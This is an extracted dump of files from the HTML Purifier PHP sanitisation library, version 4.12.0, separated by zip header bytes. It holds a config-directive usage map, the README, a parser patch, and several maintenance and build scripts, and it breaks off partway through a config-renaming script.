<directive id="HTML.Trusted">
<file name="HTMLPurifier/HTMLModuleManager.php">
<line>234</line>
</file>
<file name="HTMLPurifier/Lexer.php">
<line>313</line>
<line>353</line>
</file>
<file name="HTMLPurifier/HTMLModule/Image.php">
<line>37</line>
</file>
<file name="HTMLPurifier/Lexer/DirectLex.php">
<line>47</line>
</file>
<file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
<line>30</line>
</file>
</directive>
<directive id="HTML.AllowedModules">
<file name="HTMLPurifier/HTMLModuleManager.php">
<line>241</line>
</file>
</directive>
<directive id="HTML.CoreModules">
<file name="HTMLPurifier/HTMLModuleManager.php">
<line>242</line>
</file>
</directive>
<directive id="HTML.Proprietary">
<file name="HTMLPurifier/HTMLModuleManager.php">
<line>256</line>
</file>
</directive>
<directive id="HTML.SafeObject">
<file name="HTMLPurifier/HTMLModuleManager.php">
<line>259</line>
</file>
</directive>
<directive id="HTML.SafeEmbed">
<file name="HTMLPurifier/HTMLModuleManager.php">
<line>262</line>
</file>
</directive>
<directive id="HTML.SafeScripting">
<file name="HTMLPurifier/HTMLModuleManager.php">
<line>265</line>
</file>
<file name="HTMLPurifier/HTMLModule/SafeScripting.php">
<line>22</line>
</file>
</directive>
<directive id="HTML.Nofollow">
<file name="HTMLPurifier/HTMLModuleManager.php">
<line>268</line>
</file>
</directive>
<directive id="HTML.TargetBlank">
<file name="HTMLPurifier/HTMLModuleManager.php">
<line>271</line>
</file>
</directive>
<directive id="HTML.TargetNoreferrer">
<file name="HTMLPurifier/HTMLModuleManager.php">
<line>276</line>
</file>
</directive>
<directive id="HTML.TargetNoopener">
<file name="HTMLPurifier/HTMLModuleManager.php">
<line>279</line>
</file>
</directive>
<directive id="Attr.IDBlacklist">
<file name="HTMLPurifier/IDAccumulator.php">
<line>27</line>
</file>
</directive>
<directive id="Core.Language">
<file name="HTMLPurifier/LanguageFactory.php">
<line>93</line>
</file>
</directive>
<directive id="Core.LexerImpl">
<file name="HTMLPurifier/Lexer.php">
<line>80</line>
</file>
</directive>
<directive id="Core.MaintainLineNumbers">
<file name="HTMLPurifier/Lexer.php">
<line>84</line>
</file>
<file name="HTMLPurifier/Lexer/DirectLex.php">
<line>62</line>
</file>
</directive>
<directive id="Core.LegacyEntityDecoder">
<file name="HTMLPurifier/Lexer.php">
<line>215</line>
<line>337</line>
</file>
</directive>
<directive id="Core.ConvertDocumentToFragment">
<file name="HTMLPurifier/Lexer.php">
<line>324</line>
</file>
</directive>
<directive id="Core.RemoveProcessingInstructions">
<file name="HTMLPurifier/Lexer.php">
<line>347</line>
</file>
</directive>
<directive id="Core.HiddenElements">
<file name="HTMLPurifier/Lexer.php">
<line>351</line>
</file>
<file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
<line>36</line>
</file>
</directive>
<directive id="Core.AggressivelyRemoveScript">
<file name="HTMLPurifier/Lexer.php">
<line>352</line>
</file>
</directive>
<directive id="Core.RemoveScriptContents">
<file name="HTMLPurifier/Lexer.php">
<line>353</line>
</file>
<file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
<line>35</line>
</file>
</directive>
<directive id="URI.">
<file name="HTMLPurifier/URIDefinition.php">
<line>65</line>
</file>
<file name="HTMLPurifier/URIFilter/Munge.php">
<line>46</line>
</file>
</directive>
<directive id="URI.Host">
<file name="HTMLPurifier/URIDefinition.php">
<line>76</line>
</file>
<file name="HTMLPurifier/URIScheme.php">
<line>89</line>
</file>
</directive>
<directive id="URI.Base">
<file name="HTMLPurifier/URIDefinition.php">
<line>77</line>
</file>
</directive>
<directive id="URI.DefaultScheme">
<file name="HTMLPurifier/URIDefinition.php">
<line>84</line>
</file>
</directive>
<directive id="URI.AllowedSchemes">
<file name="HTMLPurifier/URISchemeRegistry.php">
<line>48</line>
</file>
</directive>
<directive id="URI.OverrideAllowedSchemes">
<file name="HTMLPurifier/URISchemeRegistry.php">
<line>49</line>
</file>
</directive>
<directive id="CSS.AllowDuplicates">
<file name="HTMLPurifier/AttrDef/CSS.php">
<line>28</line>
</file>
</directive>
<directive id="URI.Disable">
<file name="HTMLPurifier/AttrDef/URI.php">
<line>47</line>
</file>
</directive>
<directive id="Core.ColorKeywords">
<file name="HTMLPurifier/AttrDef/CSS/Color.php">
<line>29</line>
</file>
<file name="HTMLPurifier/AttrDef/HTML/Color.php">
<line>19</line>
</file>
</directive>
<directive id="CSS.AllowedFonts">
<file name="HTMLPurifier/AttrDef/CSS/FontFamily.php">
<line>64</line>
</file>
</directive>
<directive id="Attr.AllowedClasses">
<file name="HTMLPurifier/AttrDef/HTML/Class.php">
<line>33</line>
</file>
</directive>
<directive id="Attr.ForbiddenClasses">
<file name="HTMLPurifier/AttrDef/HTML/Class.php">
<line>34</line>
</file>
</directive>
<directive id="Attr.AllowedFrameTargets">
<file name="HTMLPurifier/AttrDef/HTML/FrameTarget.php">
<line>32</line>
</file>
</directive>
<directive id="Attr.EnableID">
<file name="HTMLPurifier/AttrDef/HTML/ID.php">
<line>41</line>
</file>
</directive>
<directive id="Attr.IDPrefix">
<file name="HTMLPurifier/AttrDef/HTML/ID.php">
<line>51</line>
</file>
</directive>
<directive id="Attr.IDPrefixLocal">
<file name="HTMLPurifier/AttrDef/HTML/ID.php">
<line>53</line>
<line>58</line>
</file>
</directive>
<directive id="Attr.ID.HTML5">
<file name="HTMLPurifier/AttrDef/HTML/ID.php">
<line>75</line>
</file>
</directive>
<directive id="Attr.IDBlacklistRegexp">
<file name="HTMLPurifier/AttrDef/HTML/ID.php">
<line>97</line>
</file>
</directive>
<directive id="Attr.">
<file name="HTMLPurifier/AttrDef/HTML/LinkTypes.php">
<line>46</line>
</file>
</directive>
<directive id="Core.AllowHostnameUnderscore">
<file name="HTMLPurifier/AttrDef/URI/Host.php">
<line>77</line>
</file>
</directive>
<directive id="Core.EnableIDNA">
<file name="HTMLPurifier/AttrDef/URI/Host.php">
<line>109</line>
</file>
</directive>
<directive id="Attr.DefaultTextDir">
<file name="HTMLPurifier/AttrTransform/BdoDir.php">
<line>22</line>
</file>
</directive>
<directive id="Core.RemoveInvalidImg">
<file name="HTMLPurifier/AttrTransform/ImgRequired.php">
<line>24</line>
</file>
<file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
<line>27</line>
</file>
</directive>
<directive id="Attr.DefaultInvalidImage">
<file name="HTMLPurifier/AttrTransform/ImgRequired.php">
<line>27</line>
</file>
</directive>
<directive id="Attr.DefaultImageAlt">
<file name="HTMLPurifier/AttrTransform/ImgRequired.php">
<line>33</line>
</file>
</directive>
<directive id="Attr.DefaultInvalidImageAlt">
<file name="HTMLPurifier/AttrTransform/ImgRequired.php">
<line>40</line>
</file>
</directive>
<directive id="HTML.Attr.Name.UseCDATA">
<file name="HTMLPurifier/AttrTransform/Name.php">
<line>18</line>
</file>
<file name="HTMLPurifier/HTMLModule/Name.php">
<line>19</line>
</file>
</directive>
<directive id="HTML.FlashAllowFullScreen">
<file name="HTMLPurifier/AttrTransform/SafeParam.php">
<line>53</line>
</file>
</directive>
<directive id="Cache.SerializerPath">
<file name="HTMLPurifier/DefinitionCache/Serializer.php">
<line>185</line>
</file>
</directive>
<directive id="Cache.SerializerPermissions">
<file name="HTMLPurifier/DefinitionCache/Serializer.php">
<line>202</line>
<line>218</line>
</file>
</directive>
<directive id="Filter.ExtractStyleBlocks.TidyImpl">
<file name="HTMLPurifier/Filter/ExtractStyleBlocks.php">
<line>94</line>
</file>
</directive>
<directive id="Filter.ExtractStyleBlocks.Scope">
<file name="HTMLPurifier/Filter/ExtractStyleBlocks.php">
<line>125</line>
</file>
</directive>
<directive id="Filter.ExtractStyleBlocks.Escaping">
<file name="HTMLPurifier/Filter/ExtractStyleBlocks.php">
<line>330</line>
</file>
</directive>
<directive id="HTML.SafeIframe">
<file name="HTMLPurifier/HTMLModule/Iframe.php">
<line>28</line>
</file>
<file name="HTMLPurifier/URIFilter/SafeIframe.php">
<line>48</line>
</file>
</directive>
<directive id="HTML.MaxImgLength">
<file name="HTMLPurifier/HTMLModule/Image.php">
<line>21</line>
</file>
<file name="HTMLPurifier/HTMLModule/SafeEmbed.php">
<line>18</line>
</file>
<file name="HTMLPurifier/HTMLModule/SafeObject.php">
<line>24</line>
</file>
</directive>
<directive id="HTML.TidyLevel">
<file name="HTMLPurifier/HTMLModule/Tidy.php">
<line>50</line>
</file>
</directive>
<directive id="HTML.TidyAdd">
<file name="HTMLPurifier/HTMLModule/Tidy.php">
<line>54</line>
</file>
</directive>
<directive id="HTML.TidyRemove">
<file name="HTMLPurifier/HTMLModule/Tidy.php">
<line>55</line>
</file>
</directive>
<directive id="AutoFormat.PurifierLinkify.DocURL">
<file name="HTMLPurifier/Injector/PurifierLinkify.php">
<line>31</line>
</file>
</directive>
<directive id="AutoFormat.RemoveEmpty.RemoveNbsp">
<file name="HTMLPurifier/Injector/RemoveEmpty.php">
<line>46</line>
</file>
</directive>
<directive id="AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions">
<file name="HTMLPurifier/Injector/RemoveEmpty.php">
<line>47</line>
</file>
</directive>
<directive id="AutoFormat.RemoveEmpty.Predicate">
<file name="HTMLPurifier/Injector/RemoveEmpty.php">
<line>48</line>
</file>
</directive>
<directive id="Core.AggressivelyFixLt">
<file name="HTMLPurifier/Lexer/DOMLex.php">
<line>54</line>
</file>
</directive>
<directive id="Core.AllowParseManyTags">
<file name="HTMLPurifier/Lexer/DOMLex.php">
<line>72</line>
</file>
</directive>
<directive id="Core.DirectLexLineNumberSyncInterval">
<file name="HTMLPurifier/Lexer/DirectLex.php">
<line>84</line>
</file>
</directive>
<directive id="Core.DisableExcludes">
<file name="HTMLPurifier/Strategy/FixNesting.php">
<line>54</line>
</file>
</directive>
<directive id="Core.EscapeInvalidTags">
<file name="HTMLPurifier/Strategy/MakeWellFormed.php">
<line>72</line>
</file>
<file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
<line>26</line>
</file>
</directive>
<directive id="HTML.AllowedComments">
<file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
<line>31</line>
</file>
</directive>
<directive id="HTML.AllowedCommentsRegexp">
<file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
<line>32</line>
</file>
</directive>
<directive id="URI.HostBlacklist">
<file name="HTMLPurifier/URIFilter/HostBlacklist.php">
<line>25</line>
</file>
</directive>
<directive id="URI.MungeResources">
<file name="HTMLPurifier/URIFilter/Munge.php">
<line>48</line>
</file>
</directive>
<directive id="URI.MungeSecretKey">
<file name="HTMLPurifier/URIFilter/Munge.php">
<line>49</line>
</file>
</directive>
<directive id="URI.SafeIframeRegexp">
<file name="HTMLPurifier/URIFilter/SafeIframe.php">
<line>35</line>
</file>
</directive>
</usage>
PK j�$Z�S��
# htmlpurifier/configdoc/generate.phpnu �[��� <?php
/**
* Generates XML and HTML documents describing configuration.
* @note PHP 5.2+ only!
*/
/*
TODO:
- make XML format richer
- extend XSLT transformation (see the corresponding XSLT file)
- allow generation of packaged docs that can be easily moved
- multipage documentation
- determine how to multilingualize
- add blurbs to ToC
*/
if (version_compare(PHP_VERSION, '5.2', '<')) exit('PHP 5.2+ required.');
error_reporting(E_ALL | E_STRICT);
// load dual-libraries
require_once dirname(__FILE__) . '/../extras/HTMLPurifierExtras.auto.php';
require_once dirname(__FILE__) . '/../library/HTMLPurifier.auto.php';
// setup HTML Purifier singleton
HTMLPurifier::getInstance(array(
'AutoFormat.PurifierLinkify' => true
));
$builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder();
$interchange = new HTMLPurifier_ConfigSchema_Interchange();
$builder->buildDir($interchange);
$loader = dirname(__FILE__) . '/../config-schema.php';
if (file_exists($loader)) include $loader;
$interchange->validate();
$style = 'plain'; // use $_GET in the future, careful to validate!
$configdoc_xml = dirname(__FILE__) . '/configdoc.xml';
$xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml();
$xml_builder->openURI($configdoc_xml);
$xml_builder->build($interchange);
unset($xml_builder); // free handle
$xslt = new ConfigDoc_HTMLXSLTProcessor();
$xslt->importStylesheet(dirname(__FILE__) . "/styles/$style.xsl");
$output = $xslt->transformToHTML($configdoc_xml);
if (!$output) {
echo "Error in generating files\n";
exit(1);
}
// write out
file_put_contents(dirname(__FILE__) . "/$style.html", $output);
if (php_sapi_name() != 'cli') {
// output (instant feedback if it's a browser)
echo $output;
} else {
echo "Files generated successfully.\n";
}
// vim: et sw=4 sts=4
PK j�$ZP�� � htmlpurifier/README.mdnu �[��� HTML Purifier [](http://travis-ci.org/ezyang/htmlpurifier)
=============
HTML Purifier is an HTML filtering solution that uses a unique combination
of robust whitelists and aggressive parsing to ensure that not only are
XSS attacks thwarted, but the resulting HTML is standards compliant.
HTML Purifier is oriented towards richly formatted documents from
untrusted sources that require CSS and a full tag-set. This library can
be configured to accept a more restrictive set of tags, but it won't be
as efficient as more bare-bones parsers. It will, however, do the job
right, which may be more important.
Places to go:
* See INSTALL for a quick installation guide
* See docs/ for developer-oriented documentation, code examples and
an in-depth installation guide.
* See WYSIWYG for information on editors like TinyMCE and FCKeditor
HTML Purifier can be found on the web at: [http://htmlpurifier.org/](http://htmlpurifier.org/)
## Installation
Package available on [Composer](https://packagist.org/packages/ezyang/htmlpurifier).
If you're using Composer to manage dependencies, you can use
$ composer require ezyang/htmlpurifier
PK j�$Z��~ htmlpurifier/VERSIONnu �[��� 4.12.0PK j�$Z<�I�[ [ htmlpurifier/WHATSNEWnu �[��� HTML Purifier 4.12.x is a maintenance release which makes
compatibility fixes for PHP 7.4.
PK j�$Z!hNh? ? # htmlpurifier/maintenance/PH5P.patchnu �[��� --- C:\Users\Edward\Webs\htmlpurifier\maintenance\PH5P.php 2008-07-07 09:12:12.000000000 -0400
+++ C:\Users\Edward\Webs\htmlpurifier\maintenance/PH5P.new.php 2008-12-06 02:29:34.988800000 -0500
@@ -65,7 +65,7 @@
public function __construct($data) {
$data = str_replace("\r\n", "\n", $data);
- $date = str_replace("\r", null, $data);
+ $data = str_replace("\r", null, $data);
$this->data = $data;
$this->char = -1;
@@ -211,7 +211,10 @@
// If nothing is returned, emit a U+0026 AMPERSAND character token.
// Otherwise, emit the character token that was returned.
$char = (!$entity) ? '&' : $entity;
- $this->emitToken($char);
+ $this->emitToken(array(
+ 'type' => self::CHARACTR,
+ 'data' => $char
+ ));
// Finally, switch to the data state.
$this->state = 'data';
@@ -708,7 +711,7 @@
} elseif($char === '&') {
/* U+0026 AMPERSAND (&)
Switch to the entity in attribute value state. */
- $this->entityInAttributeValueState('non');
+ $this->entityInAttributeValueState();
} elseif($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
@@ -738,7 +741,8 @@
? '&'
: $entity;
- $this->emitToken($char);
+ $last = count($this->token['attr']) - 1;
+ $this->token['attr'][$last]['value'] .= $char;
}
private function bogusCommentState() {
@@ -1066,6 +1070,11 @@
$this->char++;
if(in_array($id, $this->entities)) {
+ if ($e_name[$c-1] !== ';') {
+ if ($c < $len && $e_name[$c] == ';') {
+ $this->char++; // consume extra semicolon
+ }
+ }
$entity = $id;
break;
}
@@ -2084,7 +2093,7 @@
/* Reconstruct the active formatting elements, if any. */
$this->reconstructActiveFormattingElements();
- $this->insertElement($token);
+ $this->insertElement($token, true, true);
break;
}
break;
@@ -3465,7 +3474,18 @@
}
}
- private function insertElement($token, $append = true) {
+ private function insertElement($token, $append = true, $check = false) {
+ // Proprietary workaround for libxml2's limitations with tag names
+ if ($check) {
+ // Slightly modified HTML5 tag-name modification,
+ // removing anything that's not an ASCII letter, digit, or hyphen
+ $token['name'] = preg_replace('/[^a-z0-9-]/i', '', $token['name']);
+ // Remove leading hyphens and numbers
+ $token['name'] = ltrim($token['name'], '-0..9');
+ // In theory, this should ever be needed, but just in case
+ if ($token['name'] === '') $token['name'] = 'span'; // arbitrary generic choice
+ }
+
$el = $this->dom->createElement($token['name']);
foreach($token['attr'] as $attr) {
@@ -3659,7 +3679,7 @@
}
}
- private function generateImpliedEndTags(array $exclude = array()) {
+ private function generateImpliedEndTags($exclude = array()) {
/* When the steps below require the UA to generate implied end tags,
then, if the current node is a dd element, a dt element, an li element,
a p element, a td element, a th element, or a tr element, the UA must
@@ -3673,7 +3693,8 @@
}
}
- private function getElementCategory($name) {
+ private function getElementCategory($node) {
+ $name = $node->tagName;
if(in_array($name, $this->special))
return self::SPECIAL;
PK j�$Zl �*� � + htmlpurifier/maintenance/config-scanner.phpnu �[��� #!/usr/bin/php
<?php
chdir(dirname(__FILE__));
require_once 'common.php';
require_once '../library/HTMLPurifier.auto.php';
assertCli();
if (version_compare(PHP_VERSION, '5.2.2', '<')) {
echo "This script requires PHP 5.2.2 or later, for tokenizer line numbers.";
exit(1);
}
/**
* @file
* Scans HTML Purifier source code for $config tokens and records the
* directive being used; configdoc can use this info later.
*
* Currently, this just dumps all the info onto the console. Eventually, it
* will create an XML file that our XSLT transform can use.
*/
$FS = new FSTools();
chdir(dirname(__FILE__) . '/../library/');
$raw_files = $FS->globr('.', '*.php');
$files = array();
foreach ($raw_files as $file) {
$file = substr($file, 2); // rm leading './'
if (strncmp('standalone/', $file, 11) === 0) continue; // rm generated files
if (substr_count($file, '.') > 1) continue; // rm meta files
$files[] = $file;
}
/**
* Moves the $i cursor to the next non-whitespace token
*/
function consumeWhitespace($tokens, &$i)
{
do {$i++;} while (is_array($tokens[$i]) && $tokens[$i][0] === T_WHITESPACE);
}
/**
* Tests whether or not a token is a particular type. There are three run-cases:
* - ($token, $expect_token): tests if the token is $expect_token type;
* - ($token, $expect_value): tests if the token is the string $expect_value;
* - ($token, $expect_token, $expect_value): tests if token is $expect_token type, and
* its string representation is $expect_value
*/
function testToken($token, $value_or_token, $value = null)
{
if (is_null($value)) {
if (is_int($value_or_token)) return is_array($token) && $token[0] === $value_or_token;
else return $token === $value_or_token;
} else {
return is_array($token) && $token[0] === $value_or_token && $token[1] === $value;
}
}
$counter = 0;
$full_counter = 0;
$tracker = array();
foreach ($files as $file) {
$tokens = token_get_all(file_get_contents($file));
$file = str_replace('\\', '/', $file);
for ($i = 0, $c = count($tokens); $i < $c; $i++) {
$ok = false;
// Match $config
if (!$ok && testToken($tokens[$i], T_VARIABLE, '$config')) $ok = true;
// Match $this->config
while (!$ok && testToken($tokens[$i], T_VARIABLE, '$this')) {
consumeWhitespace($tokens, $i);
if (!testToken($tokens[$i], T_OBJECT_OPERATOR)) break;
consumeWhitespace($tokens, $i);
if (testToken($tokens[$i], T_STRING, 'config')) $ok = true;
break;
}
if (!$ok) continue;
$ok = false;
for($i++; $i < $c; $i++) {
if ($tokens[$i] === ',' || $tokens[$i] === ')' || $tokens[$i] === ';') {
break;
}
if (is_string($tokens[$i])) continue;
if ($tokens[$i][0] === T_OBJECT_OPERATOR) {
$ok = true;
break;
}
}
if (!$ok) continue;
$line = $tokens[$i][2];
consumeWhitespace($tokens, $i);
if (!testToken($tokens[$i], T_STRING, 'get')) continue;
consumeWhitespace($tokens, $i);
if (!testToken($tokens[$i], '(')) continue;
$full_counter++;
$matched = false;
do {
// What we currently don't match are batch retrievals, and
// wildcard retrievals. This data might be useful in the future,
// which is why we have a do {} while loop that doesn't actually
// do anything.
consumeWhitespace($tokens, $i);
if (!testToken($tokens[$i], T_CONSTANT_ENCAPSED_STRING)) continue;
$id = substr($tokens[$i][1], 1, -1);
$counter++;
$matched = true;
if (!isset($tracker[$id])) $tracker[$id] = array();
if (!isset($tracker[$id][$file])) $tracker[$id][$file] = array();
$tracker[$id][$file][] = $line;
} while (0);
//echo "$file:$line uses $namespace.$directive\n";
}
}
echo "\n$counter/$full_counter instances of \$config or \$this->config found in source code.\n";
echo "Generating XML... ";
$xw = new XMLWriter();
$xw->openURI('../configdoc/usage.xml');
$xw->setIndent(true);
$xw->startDocument('1.0', 'UTF-8');
$xw->startElement('usage');
foreach ($tracker as $id => $files) {
$xw->startElement('directive');
$xw->writeAttribute('id', $id);
foreach ($files as $file => $lines) {
$xw->startElement('file');
$xw->writeAttribute('name', $file);
foreach ($lines as $line) {
$xw->writeElement('line', $line);
}
$xw->endElement();
}
$xw->endElement();
}
$xw->endElement();
$xw->flush();
echo "done!\n";
// vim: et sw=4 sts=4
PK j�$Z��� " htmlpurifier/maintenance/.htaccessnu �[��� Deny from all
PK j�$Z��1M 0 htmlpurifier/maintenance/generate-standalone.phpnu �[��� #!/usr/bin/php
<?php
chdir(dirname(__FILE__));
require_once 'common.php';
assertCli();
/**
* @file
* Compiles all of HTML Purifier's library files into one big file
* named HTMLPurifier.standalone.php. This is usually called during the
* release process.
*/
/**
* Global hash that tracks already loaded includes
*/
$GLOBALS['loaded'] = array();
/**
* Custom FSTools for this script that overloads some behavior
* @warning The overloading of copy() is not necessarily global for
* this script. Watch out!
*/
class MergeLibraryFSTools extends FSTools
{
public function copyable($entry)
{
// Skip hidden files
if ($entry[0] == '.') {
return false;
}
return true;
}
public function copy($source, $dest)
{
copy_and_remove_includes($source, $dest);
}
}
$FS = new MergeLibraryFSTools();
/**
* Replaces the includes inside PHP source code with the corresponding
* source.
* @param string $text PHP source code to replace includes from
*/
function replace_includes($text)
{
// also remove vim modelines
return preg_replace_callback(
"/require(?:_once)? ['\"]([^'\"]+)['\"];/",
'replace_includes_callback',
$text
);
}
/**
* Removes leading PHP tags from included files. Assumes that there is
* no trailing tag. Also removes vim modelines.
* @note This is safe for files that have internal <?php
* @param string $text Text to have leading PHP tag from
*/
function remove_php_tags($text)
{
$text = preg_replace('#// vim:.+#', '', $text);
return substr($text, 5);
}
/**
* Copies the contents of a directory to the standalone directory
* @param string $dir Directory to copy
*/
function make_dir_standalone($dir)
{
global $FS;
return $FS->copyr($dir, 'standalone/' . $dir);
}
/**
* Copies the contents of a file to the standalone directory
* @param string $file File to copy
*/
function make_file_standalone($file)
{
global $FS;
$FS->mkdirr('standalone/' . dirname($file));
copy_and_remove_includes($file, 'standalone/' . $file);
return true;
}
/**
* Copies a file to another location recursively, if it is a PHP file
* remove includes
* @param string $file Original file
* @param string $sfile New location of file
*/
function copy_and_remove_includes($file, $sfile)
{
$contents = file_get_contents($file);
if (strrchr($file, '.') === '.php') $contents = replace_includes($contents);
return file_put_contents($sfile, $contents);
}
/**
* @param $matches preg_replace_callback matches array, where index 1
* is the filename to include
*/
function replace_includes_callback($matches)
{
$file = $matches[1];
$preserve = array(
// PEAR (external)
'XML/HTMLSax3.php' => 1
);
if (isset($preserve[$file])) {
return $matches[0];
}
if (isset($GLOBALS['loaded'][$file])) return '';
$GLOBALS['loaded'][$file] = true;
return replace_includes(remove_php_tags(file_get_contents($file)));
}
echo 'Generating includes file... ';
shell_exec('php generate-includes.php');
echo "done!\n";
chdir(dirname(__FILE__) . '/../library/');
echo 'Creating full file...';
$contents = replace_includes(file_get_contents('HTMLPurifier.includes.php'));
$contents = str_replace(
// Note that bootstrap is now inside the standalone file
"define('HTMLPURIFIER_PREFIX', realpath(dirname(__FILE__) . '/..'));",
"define('HTMLPURIFIER_PREFIX', dirname(__FILE__) . '/standalone');
set_include_path(HTMLPURIFIER_PREFIX . PATH_SEPARATOR . get_include_path());",
$contents
);
file_put_contents('HTMLPurifier.standalone.php', $contents);
echo ' done!' . PHP_EOL;
echo 'Creating standalone directory...';
$FS->rmdirr('standalone'); // ensure a clean copy
// data files
$FS->mkdirr('standalone/HTMLPurifier/DefinitionCache/Serializer');
make_file_standalone('HTMLPurifier/EntityLookup/entities.ser');
make_file_standalone('HTMLPurifier/ConfigSchema/schema.ser');
// non-standard inclusion setup
make_dir_standalone('HTMLPurifier/ConfigSchema');
make_dir_standalone('HTMLPurifier/Language');
make_dir_standalone('HTMLPurifier/Filter');
make_dir_standalone('HTMLPurifier/Printer');
make_file_standalone('HTMLPurifier/Printer.php');
make_file_standalone('HTMLPurifier/Lexer/PH5P.php');
echo ' done!' . PHP_EOL;
// vim: et sw=4 sts=4
PK j�$Zu���T T 2 htmlpurifier/maintenance/generate-schema-cache.phpnu �[��� #!/usr/bin/php
<?php
require_once dirname(__FILE__) . '/common.php';
require_once dirname(__FILE__) . '/../library/HTMLPurifier.auto.php';
assertCli();
/**
* @file
* Generates a schema cache file, saving it to
* library/HTMLPurifier/ConfigSchema/schema.ser.
*
* This should be run when new configuration options are added to
* HTML Purifier. A cached version is available via the repository
* so this does not normally have to be regenerated.
*
* If you have a directory containing custom configuration schema files,
* you can simple add a path to that directory as a parameter to
* this, and they will get included.
*/
$target = dirname(__FILE__) . '/../library/HTMLPurifier/ConfigSchema/schema.ser';
$builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder();
$interchange = new HTMLPurifier_ConfigSchema_Interchange();
$builder->buildDir($interchange);
$loader = dirname(__FILE__) . '/../config-schema.php';
if (file_exists($loader)) include $loader;
foreach ($_SERVER['argv'] as $i => $dir) {
if ($i === 0) continue;
$builder->buildDir($interchange, realpath($dir));
}
$interchange->validate();
$schema_builder = new HTMLPurifier_ConfigSchema_Builder_ConfigSchema();
$schema = $schema_builder->build($interchange);
echo "Saving schema... ";
file_put_contents($target, serialize($schema));
echo "done!\n";
// vim: et sw=4 sts=4
PK j�$Z]���� � ( htmlpurifier/maintenance/add-vimline.phpnu �[��� #!/usr/bin/php
<?php
chdir(dirname(__FILE__));
require_once 'common.php';
assertCli();
/**
* @file
* Adds vimline to files
*/
chdir(dirname(__FILE__) . '/..');
$FS = new FSTools();
$vimline = 'vim: et sw=4 sts=4';
$files = $FS->globr('.', '*');
foreach ($files as $file) {
if (
!is_file($file) ||
prefix_is('./docs/doxygen', $file) ||
prefix_is('./library/standalone', $file) ||
prefix_is('./docs/specimens', $file) ||
postfix_is('.ser', $file) ||
postfix_is('.tgz', $file) ||
postfix_is('.patch', $file) ||
postfix_is('.dtd', $file) ||
postfix_is('.ent', $file) ||
postfix_is('.png', $file) ||
postfix_is('.ico', $file) ||
// wontfix
postfix_is('.vtest', $file) ||
postfix_is('.svg', $file) ||
postfix_is('.phpt', $file) ||
postfix_is('VERSION', $file) ||
postfix_is('WHATSNEW', $file) ||
postfix_is('configdoc/usage.xml', $file) ||
postfix_is('library/HTMLPurifier.includes.php', $file) ||
postfix_is('library/HTMLPurifier.safe-includes.php', $file) ||
postfix_is('smoketests/xssAttacks.xml', $file) ||
// phpt files
postfix_is('.diff', $file) ||
postfix_is('.exp', $file) ||
postfix_is('.log', $file) ||
postfix_is('.out', $file) ||
$file == './library/HTMLPurifier/Lexer/PH5P.php' ||
$file == './maintenance/PH5P.php'
) continue;
$ext = strrchr($file, '.');
if (
postfix_is('README', $file) ||
postfix_is('LICENSE', $file) ||
postfix_is('CREDITS', $file) ||
postfix_is('INSTALL', $file) ||
postfix_is('NEWS', $file) ||
postfix_is('TODO', $file) ||
postfix_is('WYSIWYG', $file) ||
postfix_is('Changelog', $file)
) $ext = '.txt';
if (postfix_is('Doxyfile', $file)) $ext = 'Doxyfile';
if (postfix_is('.php.in', $file)) $ext = '.php';
$no_nl = false;
switch ($ext) {
case '.php':
case '.inc':
case '.js':
$line = '// %s';
break;
case '.html':
case '.xsl':
case '.xml':
case '.htc':
$line = "<!-- %s\n-->";
break;
case '.htmlt':
$no_nl = true;
$line = '--# %s';
break;
case '.ini':
$line = '; %s';
break;
case '.css':
$line = '/* %s */';
break;
case '.bat':
$line = 'rem %s';
break;
case '.txt':
case '.utf8':
if (
prefix_is('./library/HTMLPurifier/ConfigSchema', $file) ||
prefix_is('./smoketests/test-schema', $file) ||
prefix_is('./tests/HTMLPurifier/StringHashParser', $file)
) {
$no_nl = true;
$line = '--# %s';
} else {
$line = ' %s';
}
break;
case 'Doxyfile':
$line = '# %s';
break;
default:
throw new Exception('Unknown file: ' . $file);
}
echo "$file\n";
$contents = file_get_contents($file);
$regex = '~' . str_replace('%s', 'vim: .+', preg_quote($line, '~')) . '~m';
$contents = preg_replace($regex, '', $contents);
$contents = rtrim($contents);
if (strpos($contents, "\r\n") !== false) $nl = "\r\n";
elseif (strpos($contents, "\n") !== false) $nl = "\n";
elseif (strpos($contents, "\r") !== false) $nl = "\r";
else $nl = PHP_EOL;
if (!$no_nl) $contents .= $nl;
$contents .= $nl . str_replace('%s', $vimline, $line) . $nl;
file_put_contents($file, $contents);
}
// vim: et sw=4 sts=4
PK j�$Z滟k� � + htmlpurifier/maintenance/compile-doxygen.shnu �[��� #!/bin/bash
cd ..
mkdir docs/doxygen
rm -Rf docs/doxygen/*
doxygen 1>docs/doxygen/info.log 2>docs/doxygen/errors.log
if [ "$?" != 0 ]; then
cat docs/doxygen/errors.log
exit
fi
cd docs
tar czf doxygen.tgz doxygen
PK j�$Z�D�w w # htmlpurifier/maintenance/common.phpnu �[��� <?php
function assertCli()
{
if (php_sapi_name() != 'cli' && !getenv('PHP_IS_CLI')) {
echo 'Script cannot be called from web-browser (if you are indeed calling via cli,
set environment variable PHP_IS_CLI to work around this).';
exit(1);
}
}
function prefix_is($comp, $subject)
{
return strncmp($comp, $subject, strlen($comp)) === 0;
}
function postfix_is($comp, $subject)
{
return strlen($subject) < $comp ? false : substr($subject, -strlen($comp)) === $comp;
}
// Load useful stuff like FSTools
require_once dirname(__FILE__) . '/../extras/HTMLPurifierExtras.auto.php';
// vim: et sw=4 sts=4
PK j�$Z�d�� * htmlpurifier/maintenance/rename-config.phpnu �[��� #!/usr/bin/php
<?php
chdir(dirname(__FILE__));
require_once 'common.php';
require_once '../library/HTMLPurifier.auto.php';
assertCli();
/**
* @file
* Renames a configuration directive. This involves renaming the file,
* adding an alias, and then regenerating the cache. You still have to
* manually go through and fix any calls to the directive.
* @warning This script doesn't handle multi-stringhash files.
*/
$argv = $_SERVER['argv'];
if (count($argv) < 3) {
echo "Usage: {$argv[0]} OldName NewName\n";
exit(1);
}
chdir('../library/HTMLPurifier/ConfigSchema/schema');
